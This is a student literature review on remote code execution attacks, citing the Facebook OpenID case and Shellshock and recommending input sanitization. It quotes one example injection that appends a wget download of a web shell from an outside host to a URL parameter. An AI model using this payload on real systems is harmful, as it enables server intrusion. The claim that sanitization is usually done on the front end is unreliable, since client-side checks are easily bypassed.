CSE 300 – Literature Review

Remote Code Execution: Vulnerabilities on the Web

By Daniel Rodrigues

There is a saying that is very common among Computer Scientists that goes, "The Internet is Inherently Insecure." Because there is an air of mystery surrounding the way computers work the layman will often consider himself secure so long as he doesn't go on any sites he shouldn't be going on; unfortunately Security on the web is not so cut and dry, and oftentimes there is a war going on between Content providers and the so called "Black Hat Hackers" that toil day and night to find intrusions into the servers that Content Providers work so hard to protect. There have been numerous attacks over the years that have reached the media regarding some "Hacker" breaking into some website or secure server in order to get things like Personally Identifiable information to Credit Card numbers. One of the most dangerous and well-known methods to gain entrance to a server and cause some serious damage is the "Remote Code Execution" Attack (or RCE for short.)

According to Symantec, RCE is a vulnerability that "…allows an attacker to run arbitrary, system-level code on the vulnerable server and retrieve any desired information contained therein." To put it in simpler terms, RCE is analogous to a thief that has a key to your house and unfettered access to all of your stuff when he/she wants. Like a thief that has a key to your house, he/she can come and go as they please, taking whatever they want with them. But wait, how did the thief get a copy of your key? The worst part is that you gave it to them by forgetting to lock it up. This analogy, though accurate, still begs the question…How did they get my key,

and how did I not lock it up? The short answer is that laziness or perhaps even the honesty policy itself is what gave the thief your key; as programmers we are taught to be extremely paranoid when coding, and that distrust for the end user is healthy, and so when we don't follow this mantra we wind up with fatal bugs that allows things like RCE attacks.

Any text field that allows user input is considered a potential point of attack on the Web. Since a website is just some computer code running on a Server somewhere in the world that is accessible remotely from anywhere, a command that is given to the server locally can be given remotely by an anonymous user if their website isn't protected properly; this notion is the basis for RCE attacks. Since most attackers are familiar with Operating System constructs they can force a command to download a malicious virus locally through some user input text field. They will send an HTTP Get Command with some appended commands like the following :
"vulnerableSite.com/faq.php?**cmd=cd /tmp;wget http://sh3ll.org/c99.txt**"
The first part of the link is pretty normal, just a regular website, but it's the part in bold that highlight's the RCE attack. This command is downloading a potentially malicious file to temporary storage, at which point it will either autorun or another link will be sent that will run the file. As should be evident by now, this kind of access is not good at all for the Content Provider of this website; just one thief having your key is bad, imagine thousands of them?

At this point, you may be thinking, well I'm not a content provider so I should be fine, right? If only it were that simple; as will be seen later, there are many cases where RCE

attacks have affected millions of personal computers and numerous more servers. The affected Computer types range greatly, there is a recent exploit for Unix Based Servers such as Linux and Mac OSX, and in fact many other electronics ranging from Smartphones to Wireless routers. Regardless of the Operating System the types of Computers affected are those that don't sanitize their user input, Giving anonymous users the Keys to the Kingdom.

The web is filled with many cases involving Remote Code Exploits but I will be focusing on a select few that demonstrate the long reach and dreadful impact that RCE attacks can have on the web. One such case involved an exploit in Facebook's use of the OpenId Library for parsing XML data. A White Hat Hacker by the name of Reginaldo Silva discovered that if you used the "Forgot your password" Link on Facebook, and allowed them to log in to your email account, after a bit of abra cadabra and an RCE exploit later you would get some data that does not belong to you. Silva of course did the right thing by letting Facebook know before anyone else discovered the loophole; he was then awarded a handsome bounty and the reputation that goes along with finding a bug on Facebook. An even more recent case is that of the Shellshock bug which brought a lot of worry to the security community in late 2014. This particular exploit follows the same principle as all other RCE Exploit, the user entered some information that they should not have been allowed to enter, what makes this so shocking is that this bug went unnoticed for 25 years without anyone noticing, and that the vulnerable shell in the codename shellshock is used in many of the computer systems that are in place today, possibly causing mass havoc were it not for the quick response of the Security Community and Content providers to get this patched.

The ultimate protection against RCE attacks is to make sure that anything a user types can't be interpreted as a code that the underlying server will understand. This type of protection is usually implemented on the front end, before the user's input is sent to the back end (Server) it must be 'sanitized' per se, of any malicious intent, meaning that anything that can be interpreted as a server command is removed before sending it off to the server for validation. There are many frameworks on the Internet that do auto-sanitizing for you, but specific Server-Side languages like PHP don't have them built in by default and so it is in the programmers best interest to implement this, especially if their computer will be open to the entire internet.

By now it should be evident that the Internet is Inherently Insecure, and that we're always one step away from giving the whole world full reign to our home. With good programming practices, and constantly updating/patching your system you are not guaranteed to be 100% secure, but you will weed out most of the attacks. The only way to truly protect yourself from attacks is to completely disconnect from the internet, but that would defeat the purpose of having an Internet to begin with, our only option is to continue with these best practices and rely on the generosity of White hat hackers to help the Security community out and make sure that you never accidently put the key to your house in the hands of a thief.